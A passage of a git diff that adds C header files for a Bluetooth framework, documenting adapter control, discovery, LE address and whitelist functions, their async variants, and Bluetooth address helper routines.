on_remote_alias_changed; + on_remote_cod_changed_callback on_remote_cod_changed; + on_remote_uuids_changed_callback on_remote_uuids_changed; + on_remote_link_mode_changed_callback on_remote_link_mode_changed; +} adapter_callbacks_t; + +/** + * @note Not support + * + */ +typedef struct { + on_bond_state_changed_callback on_bond_state_changed; + on_remote_name_changed_callback on_remote_name_changed; + on_remote_alias_changed_callback on_remote_alias_changed; + on_remote_cod_changed_callback on_remote_cod_changed; + on_remote_uuids_changed_callback on_remote_uuids_changed; +} remote_device_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Enable the Bluetooth adapter. + * + * Turns on the Bluetooth adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_enable(ins) == BT_STATUS_SUCCESS) { + // Adapter enabled successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_enable)(bt_instance_t* ins); + +/** + * @brief Disable the Bluetooth adapter. + * + * Turns off the Bluetooth adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_disable(ins) == BT_STATUS_SUCCESS) { + // Adapter disabled successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_disable)(bt_instance_t* ins); + +/** + * @brief Disable bluetooth adapter safely + * + * @param ins - bluetooth client instance. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_disable_safe)(bt_instance_t* ins); + +/** + * @brief Enable BLE (Bluetooth Low Energy). + * + * Turns on the BLE functionality of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_enable_le)(bt_instance_t* ins); + +/** + * @brief Disable BLE (Bluetooth Low Energy). + * + * Turns off the BLE functionality of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_disable_le)(bt_instance_t* ins); + +/** + * @brief Get the current adapter state. + * + * Retrieves the current state of the Bluetooth adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_adapter_state_t - Current adapter state, see @ref bt_adapter_state_t. + */ +bt_adapter_state_t BTSYMBOLS(bt_adapter_get_state)(bt_instance_t* ins); + +/** + * @brief Get the adapter device type. + * + * Retrieves the type of the Bluetooth adapter (e.g., BR/EDR, LE, Dual Mode). + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_device_type_t - Device type (0: BR/EDR, 1: LE, 2: Dual Mode, 0xFF: Unknown). + */ +bt_device_type_t BTSYMBOLS(bt_adapter_get_type)(bt_instance_t* ins); + +/** + * @brief Set the discovery filter. + * + * @note Not supported currently. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_UNSUPPORTED. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_discovery_filter)(bt_instance_t* ins); + +/** + * @brief Start device limited discovery. + * + * Initiates the device limited discovery process to find nearby Bluetooth devices. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param timeout - Maximum amount of time to perform discovery (Time = N * 1.28s, Range: 1.28s to 61.44s). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_start_limited_discovery)(bt_instance_t* ins, uint32_t timeout); + +/** + * @brief Start device discovery. + * + * Initiates the device discovery process to find nearby Bluetooth devices. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param timeout - Maximum amount of time to perform discovery (Time = N * 1.28s, Range: 1.28s to 61.44s). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_start_discovery(ins, 10) == BT_STATUS_SUCCESS) { + // Discovery started successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_start_discovery)(bt_instance_t* ins, uint32_t timeout); + +/** + * @brief Cancel device discovery. + * + * Stops an ongoing device discovery process. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_cancel_discovery(ins) == BT_STATUS_SUCCESS) { + // Discovery cancelled successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_cancel_discovery)(bt_instance_t* ins); + +/** + * @brief Check if the adapter is discovering. + * + * Determines whether the adapter is currently performing device discovery. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return true - Adapter is discovering. + * @return false - Adapter is not discovering. + * + * **Example:** + * @code +if (bt_adapter_is_discovering(ins)) { + // Adapter is discovering +} else { + // Adapter is not discovering +} + * @endcode + */ +bool BTSYMBOLS(bt_adapter_is_discovering)(bt_instance_t* ins); + +/** + * @brief Read the Bluetooth controller address (BD_ADDR). + * + * Retrieves the Bluetooth address of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param[out] addr - Pointer to store the BD_ADDR; empty if adapter is not enabled. + * + * **Example:** + * @code +bt_address_t addr; +bt_adapter_get_address(ins, &addr); +// Use addr as needed + * @endcode + */ +void BTSYMBOLS(bt_adapter_get_address)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Set the adapter's local name. + * + * Sets the user-friendly name of the Bluetooth adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param name - New local name for the adapter. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_set_name(ins, "My Bluetooth Device") == BT_STATUS_SUCCESS) { + // Name set successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_set_name)(bt_instance_t* ins, const char* name); + +/** + * @brief Get the adapter's local name. + * + * Retrieves the user-friendly name of the Bluetooth adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param[out] name - Buffer to store the local name. + * @param[in] length - Maximum length of the name buffer. + * + * **Example:** + * @code +char name[248]; +bt_adapter_get_name(ins, name, sizeof(name)); +// Use name as needed + * @endcode + */ +void BTSYMBOLS(bt_adapter_get_name)(bt_instance_t* ins, char* name, int length); + +/** + * @brief Get adapter supported UUIDs. + * + * @note Not supported currently. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param[out] uuids - Array to store UUIDs. + * @param[out] size - Number of UUIDs retrieved. + * @return bt_status_t - BT_STATUS_UNSUPPORTED. + */ +bt_status_t BTSYMBOLS(bt_adapter_get_uuids)(bt_instance_t* ins, bt_uuid_t* uuids, uint16_t* size); + +/** + * @brief Set the adapter's scan mode. + * + * Configures the scan mode of the adapter (e.g., discoverable, connectable). + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param mode - Scan mode, see @ref bt_scan_mode_t (0: none, 1: connectable, 2: connectable_discoverable). + * @param bondable - Whether the adapter is bondable. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_set_scan_mode(ins, BT_SCAN_MODE_CONNECTABLE_DISCOVERABLE, true) == BT_STATUS_SUCCESS) { + // Scan mode set successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_set_scan_mode)(bt_instance_t* ins, bt_scan_mode_t mode, bool bondable); + +/** + * @brief Get the adapter's scan mode. + * + * Retrieves the current scan mode of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_scan_mode_t - Current scan mode, see @ref bt_scan_mode_t. + * + * **Example:** + * @code +bt_scan_mode_t mode = bt_adapter_get_scan_mode(ins); +// Use mode as needed + * @endcode + */ +bt_scan_mode_t BTSYMBOLS(bt_adapter_get_scan_mode)(bt_instance_t* ins); + +/** + * @brief Set the adapter's device class. + * + * Sets the Class of Device (CoD) for the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param cod - Class of Device; zero is invalid. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_adapter_set_device_class(ins, 0x200404) == BT_STATUS_SUCCESS) { + // Device class set successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_adapter_set_device_class)(bt_instance_t* ins, uint32_t cod); + +/** + * @brief Get the adapter's device class. + * + * Retrieves the Class of Device (CoD) of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return uint32_t - Class of Device; zero if adapter is not enabled. + * + * **Example:** + * @code +uint32_t cod = bt_adapter_get_device_class(ins); +// Use cod as needed + * @endcode + */ +uint32_t BTSYMBOLS(bt_adapter_get_device_class)(bt_instance_t* ins); + +/** + * @brief Set the BR/EDR adapter IO capability. + * + * Sets the Input/Output capability of the BR/EDR adapter for pairing. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param cap - IO capability, see @ref bt_io_capability_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_io_capability)(bt_instance_t* ins, bt_io_capability_t cap); + +/** + * @brief Get the BR/EDR adapter IO capability. + * + * Retrieves the Input/Output capability of the BR/EDR adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_io_capability_t - Current IO capability, see @ref bt_io_capability_t. + */ +bt_io_capability_t BTSYMBOLS(bt_adapter_get_io_capability)(bt_instance_t* ins); + +/** + * @brief Set inquiry scan parameters. + * + * Configures the inquiry scan parameters for the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param type - Scan type, see @ref bt_scan_type_t. + * @param interval - Scan interval (in slots, 0x0012 to 0x1000). + * @param window - Scan window (in slots, 0x0011 to 0x1000). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_inquiry_scan_parameters)(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window); + +/** + * @brief Set page scan parameters. + * + * Configures the page scan parameters for the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param type - Scan type, see @ref bt_scan_type_t. + * @param interval - Scan interval (in slots, 0x0012 to 0x1000). + * @param window - Scan window (in slots, 0x0011 to 0x1000). + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_page_scan_parameters)(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window); + +/** + * @brief Set operation to specific debug mode. e.g. BT_DEBUG_MODE_PTS + * + * Sets the adapter to test mode. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param mode - test mode, see @ref bt_debug_mode_t. + * @param operation - operation for debug mode. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_debug_mode)(bt_instance_t* ins, bt_debug_mode_t mode, uint8_t operation); + +/** + * @brief Get the list of bonded devices. + * + * Retrieves the list of devices that are bonded (paired) with the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param transport - Transport type, see @ref bt_transport_t. + * @param[out] addr - Pointer to an array of device addresses; allocated using the provided allocator. + * @param[out] num - Number of bonded devices. + * @param allocator - Allocator function to allocate memory for the address array. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_get_bonded_devices)(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator); + +/** + * @brief Get the list of connected devices. + * + * Retrieves the list of devices that are currently connected to the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param transport - Transport type, see @ref bt_transport_t. + * @param[out] addr - Pointer to an array of device addresses; allocated using the provided allocator. + * @param[out] num - Number of connected devices. + * @param allocator - Allocator function to allocate memory for the address array. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_get_connected_devices)(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator); + +/** + * @brief Disconnect all connected devices. + * + * @note Not supported currently. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + */ +void BTSYMBOLS(bt_adapter_disconnect_all_devices)(bt_instance_t* ins); + +/** + * @brief Check if BR/EDR is supported. + * + * Determines whether BR/EDR (Basic Rate/Enhanced Data Rate) is supported by the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return true - BR/EDR is supported. + * @return false - BR/EDR is not supported. + */ +bool BTSYMBOLS(bt_adapter_is_support_bredr)(bt_instance_t* ins); + +/** + * @brief Register callback functions with the adapter service. + * + * Registers application callbacks to receive adapter events. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param callbacks - Pointer to the adapter callbacks structure, see @ref adapter_callbacks_t. + * @return void* - Callback cookie to be used in future calls; NULL on failure. + * + * **Example:** + * @code +void* cookie = bt_adapter_register_callback(ins, &my_adapter_callbacks); +if (cookie == NULL) { + // Handle error +} + * @endcode + */ +void* BTSYMBOLS(bt_adapter_register_callback)(bt_instance_t* ins, const adapter_callbacks_t* adapter_cbs); + +/** + * @brief Unregister adapter callback functions. + * + * Unregisters the application callbacks from the adapter service. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param cookie - Callback cookie obtained from registration. + * @return true - Unregistration successful. + * @return false - Callback cookie not found or unregistration failed. + * + * **Example:** + * @code +if (bt_adapter_unregister_callback(ins, cookie)) { + // Unregistered successfully +} else { + // Handle error +} + * @endcode + */ +bool BTSYMBOLS(bt_adapter_unregister_callback)(bt_instance_t* ins, void* cookie); + +/** + * @brief Check if BLE is enabled. + * + * Determines whether BLE functionality is currently enabled. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return true - BLE is enabled. + * @return false - BLE is disabled. + */ +bool BTSYMBOLS(bt_adapter_is_le_enabled)(bt_instance_t* ins); + +/** + * @brief Check if BLE is supported. + * + * Determines whether BLE functionality is supported by the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return true - BLE is supported. + * @return false - BLE is not supported. + */ +bool BTSYMBOLS(bt_adapter_is_support_le)(bt_instance_t* ins); + +/** + * @brief Check if LE Audio is supported. + * + * Determines whether LE Audio functionality is supported by the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return true - LE Audio is supported. + * @return false - LE Audio is not supported. + */ +bool BTSYMBOLS(bt_adapter_is_support_leaudio)(bt_instance_t* ins); + +/** + * @brief Get the BLE adapter address. + * + * Retrieves the BLE address and address type of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param[out] addr - Pointer to store the BLE address. + * @param[out] type - Pointer to store the BLE address type, see @ref ble_addr_type_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_get_le_address)(bt_instance_t* ins, bt_address_t* addr, ble_addr_type_t* type); + +/** + * @brief Set the BLE private address. + * + * Sets the BLE private address of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Pointer to the new BLE address. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_le_address)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Set the BLE identity address. + * + * Sets the BLE identity address of the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Pointer to the BLE identity address. + * @param is_public - true if the address is public; false if static. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_le_identity_address)(bt_instance_t* ins, bt_address_t* addr, bool is_public); + +/** + * @brief Set the BLE adapter IO capability. + * + * Sets the Input/Output capability of the BLE adapter for pairing. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param le_io_cap - IO capability value. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_le_io_capability)(bt_instance_t* ins, uint32_t le_io_cap); + +/** + * @brief Get the BLE adapter IO capability. + * + * Retrieves the Input/Output capability of the BLE adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return uint32_t - Current IO capability value. + */ +uint32_t BTSYMBOLS(bt_adapter_get_le_io_capability)(bt_instance_t* ins); + +/** + * @brief Set the BLE adapter appearance. + * + * Sets the GAP appearance value of the BLE adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param appearance - GAP appearance value; zero is invalid. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_le_appearance)(bt_instance_t* ins, uint16_t appearance); + +/** + * @brief Get the BLE adapter appearance. + * + * Retrieves the GAP appearance value of the BLE adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return uint16_t - GAP appearance value; zero if adapter is not enabled. + */ +uint16_t BTSYMBOLS(bt_adapter_get_le_appearance)(bt_instance_t* ins); + +/** + * @brief Enable or disable cross-transport key derivation. + * + * Configures the adapter to enable or disable cross-transport key derivation (CTKD). + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param brkey_to_lekey - Enable generating LE LTK from BR/EDR link key. + * @param lekey_to_brkey - Enable generating BR/EDR link key from LE LTK. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_le_enable_key_derivation)(bt_instance_t* ins, + bool brkey_to_lekey, + bool lekey_to_brkey); + +/** + * @brief Add a device to the BLE whitelist. + * + * Adds a device address to the BLE whitelist. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the device to add, see @ref bt_address_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_le_add_whitelist)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Remove a device from the BLE whitelist. + * + * Removes a device address from the BLE whitelist. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the device to remove, see @ref bt_address_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_le_remove_whitelist)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Set AFH (Adaptive Frequency Hopping) channel classification. + * + * Configures the AFH channel classification for the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param central_frequency - Central frequency in MHz. + * @param band_width - Bandwidth in MHz. + * @param number - Number of channels. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_afh_channel_classification)(bt_instance_t* ins, uint16_t central_frequency, + uint16_t band_width, uint16_t number); + +/** + * @brief Set automatic sniff mode parameters. + * + * Configures automatic sniff mode parameters for the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param params - Pointer to auto sniff parameters, see @ref bt_auto_sniff_params_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_adapter_set_auto_sniff)(bt_instance_t* ins, bt_auto_sniff_params_t* params); + +// async +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#include "bt_async.h" + +typedef void (*bt_register_callback_cb_t)(bt_instance_t* ins, bt_status_t status, void* cookie, void* userdata); +typedef void (*bt_adapter_get_state_cb_t)(bt_instance_t* ins, bt_status_t status, bt_adapter_state_t state, void* userdata); +typedef void (*bt_adapter_get_device_type_cb_t)(bt_instance_t* ins, bt_status_t status, bt_device_type_t type, void* userdata); +typedef void (*bt_adapter_get_address_cb_t)(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, void* userdata); +typedef void (*bt_adapter_get_io_capability_cb_t)(bt_instance_t* ins, bt_status_t status, bt_io_capability_t cap, void* userdata); +typedef void (*bt_adapter_get_scan_mode_cb_t)(bt_instance_t* ins, bt_status_t status, bt_scan_mode_t mode, void* userdata); +typedef void (*bt_adapter_get_devices_cb_t)(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, int num, void* userdata); +typedef void (*bt_adapter_get_uuids_cb_t)(bt_instance_t* ins, bt_status_t status, bt_uuid_t* uuids, uint16_t size, void* userdata); +typedef void (*bt_adapter_get_le_address_cb_t)(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, ble_addr_type_t type, void* userdata); + +bt_status_t bt_adapter_register_callback_async(bt_instance_t* ins, + const adapter_callbacks_t* adapter_cbs, bt_register_callback_cb_t cb, void* userdata); +bt_status_t bt_adapter_unregister_callback_async(bt_instance_t* ins, void* cookie, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_adapter_enable_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_disable_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_enable_le_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_disable_le_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_state_async(bt_instance_t* ins, bt_adapter_get_state_cb_t get_state_cb, void* userdata); +bt_status_t bt_adapter_is_le_enabled_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_type_async(bt_instance_t* ins, bt_device_type_cb_t get_dtype_cb, void* userdata); +bt_status_t bt_adapter_set_discovery_filter_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_start_discovery_async(bt_instance_t* ins, uint32_t timeout, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_cancel_discovery_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_is_discovering_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_address_async(bt_instance_t* ins, bt_address_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_name_async(bt_instance_t* ins, const char* name, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_name_async(bt_instance_t* ins, bt_string_cb_t get_name_cb, void* userdata); +bt_status_t bt_adapter_get_uuids_async(bt_instance_t* ins, bt_uuids_cb_t get_uuids_cb, void* userdata); +bt_status_t bt_adapter_set_scan_mode_async(bt_instance_t* ins, bt_scan_mode_t mode, bool bondable, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_scan_mode_async(bt_instance_t* ins, bt_adapter_get_scan_mode_cb_t get_scan_mode_cb, void* userdata); +bt_status_t bt_adapter_set_device_class_async(bt_instance_t* ins, uint32_t cod, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_device_class_async(bt_instance_t* ins, bt_u32_cb_t get_cod_cb, void* userdata); +bt_status_t bt_adapter_set_io_capability_async(bt_instance_t* ins, bt_io_capability_t cap, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_io_capability_async(bt_instance_t* ins, bt_adapter_get_io_capability_cb_t get_ioc_cb, void* userdata); +bt_status_t bt_adapter_set_inquiry_scan_parameters_async(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_page_scan_parameters_async(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_le_io_capability_async(bt_instance_t* ins, uint32_t le_io_cap, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_le_io_capability_async(bt_instance_t* ins, bt_u32_cb_t get_le_ioc_cb, void* userdata); +bt_status_t bt_adapter_get_le_address_async(bt_instance_t* ins, bt_adapter_get_le_address_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_le_address_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_le_identity_address_async(bt_instance_t* ins, bt_address_t* addr, bool is_public, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_le_appearance_async(bt_instance_t* ins, uint16_t appearance, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_le_appearance_async(bt_instance_t* ins, bt_u16_cb_t cb, void* userdata); +bt_status_t bt_adapter_le_enable_key_derivation_async(bt_instance_t* ins, + bool brkey_to_lekey, bool lekey_to_brkey, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_le_add_whitelist_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_le_remove_whitelist_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_get_bonded_devices_async(bt_instance_t* ins, bt_transport_t transport, bt_adapter_get_devices_cb_t get_bonded_cb, void* userdata); +bt_status_t bt_adapter_get_connected_devices_async(bt_instance_t* ins, bt_transport_t transport, bt_adapter_get_devices_cb_t get_connected_cb, void* userdata); +bt_status_t bt_adapter_set_afh_channel_classification_async(bt_instance_t* ins, uint16_t central_frequency, + uint16_t band_width, uint16_t number, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_set_auto_sniff_async(bt_instance_t* ins, bt_auto_sniff_params_t* params, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_disconnect_all_devices_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bt_adapter_is_support_bredr_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_adapter_is_support_le_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_adapter_is_support_leaudio_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); +#endif /* CONFIG_BLUETOOTH_FRAMEWORK_ASYNC */ + +#ifdef __cplusplus +} +#endif +#endif /* __BT_ADAPTER_H__ */ diff --git a/framework/include/bt_addr.h b/framework/include/bt_addr.h new file mode 100644 index 0000000000000000000000000000000000000000..97fd0c68d76f10512e4556e7a9fa1726db02cf12 --- /dev/null +++ b/framework/include/bt_addr.h @@ -0,0 +1,217 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_ADDR_H__ +#define __BT_ADDR_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdbool.h> +#include <stdint.h> + +#define BT_ADDR_LENGTH 6 /*define the address length*/ +#define BT_ADDR_STR_LENGTH 18 + +#define bt_addr_str(addr) bt_addr_bastr(addr) + +/** + * @cond + */ +typedef struct bt_addr { + uint8_t addr[BT_ADDR_LENGTH]; +} bt_address_t; +/** + * @endcond + */ + +/** + * @cond + */ +typedef struct bt_le_addr { + uint8_t addr[BT_ADDR_LENGTH]; + uint8_t addr_type; +} bt_le_address_t; +/** + * @endcond + */ + +/** + * @brief Check if a Bluetooth address is empty. + * + * Determines if the given Bluetooth address is all zeros. + * + * @param addr - Pointer to the Bluetooth address to check. + * This should point to a valid `bt_address_t` structure that contains a 6-byte Bluetooth address. + * @return true - The address is empty (all zeros). + * @return false - The address is not empty. + * + * **Example:** + * @code + * bt_address_t addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; // Example empty address + * if (bt_addr_is_empty(&addr)) { + * // Address is empty + * } + * @endcode + */ +bool bt_addr_is_empty(const bt_address_t* addr); + + +/** + * @brief Set a Bluetooth address to empty. + * + * Sets the given Bluetooth address to all zeros. + * + * @param addr - Pointer to the Bluetooth address to set to empty. + * + * **Example:** + * @code + * bt_address_t addr; + * bt_addr_set_empty(&addr); // Set the address to all zeros + * @endcode + */ +void bt_addr_set_empty(bt_address_t* addr); + + +/** + * @brief Compare two Bluetooth addresses. + * + * Compares two Bluetooth addresses. + * + * @param a - Pointer to the first Bluetooth address (type `bt_address_t`). + * @param b - Pointer to the second Bluetooth address (type `bt_address_t`). + * @return int - Returns zero if the addresses are equal, non-zero otherwise. + * + * **Example:** + * @code + * bt_address_t addr1 = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; + * bt_address_t addr2 = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; + * if (bt_addr_compare(&addr1, &addr2) == 0) { + * // Addresses are equal + * } + * @endcode + */ +int bt_addr_compare(const bt_address_t* a, const bt_address_t* b); + + +/** + * @brief Convert a Bluetooth address to a string. + * + * Converts a Bluetooth address to its string representation in the format "XX:XX:XX:XX:XX:XX". + * + * @param addr - Pointer to the Bluetooth address. + * This should point to a valid `bt_address_t` structure. + * @param str - Pointer to a buffer to store the string representation. The buffer must be at least `BT_ADDR_STR_LENGTH` bytes long. + * @return int - Returns zero on success, negative value on failure. + * + * 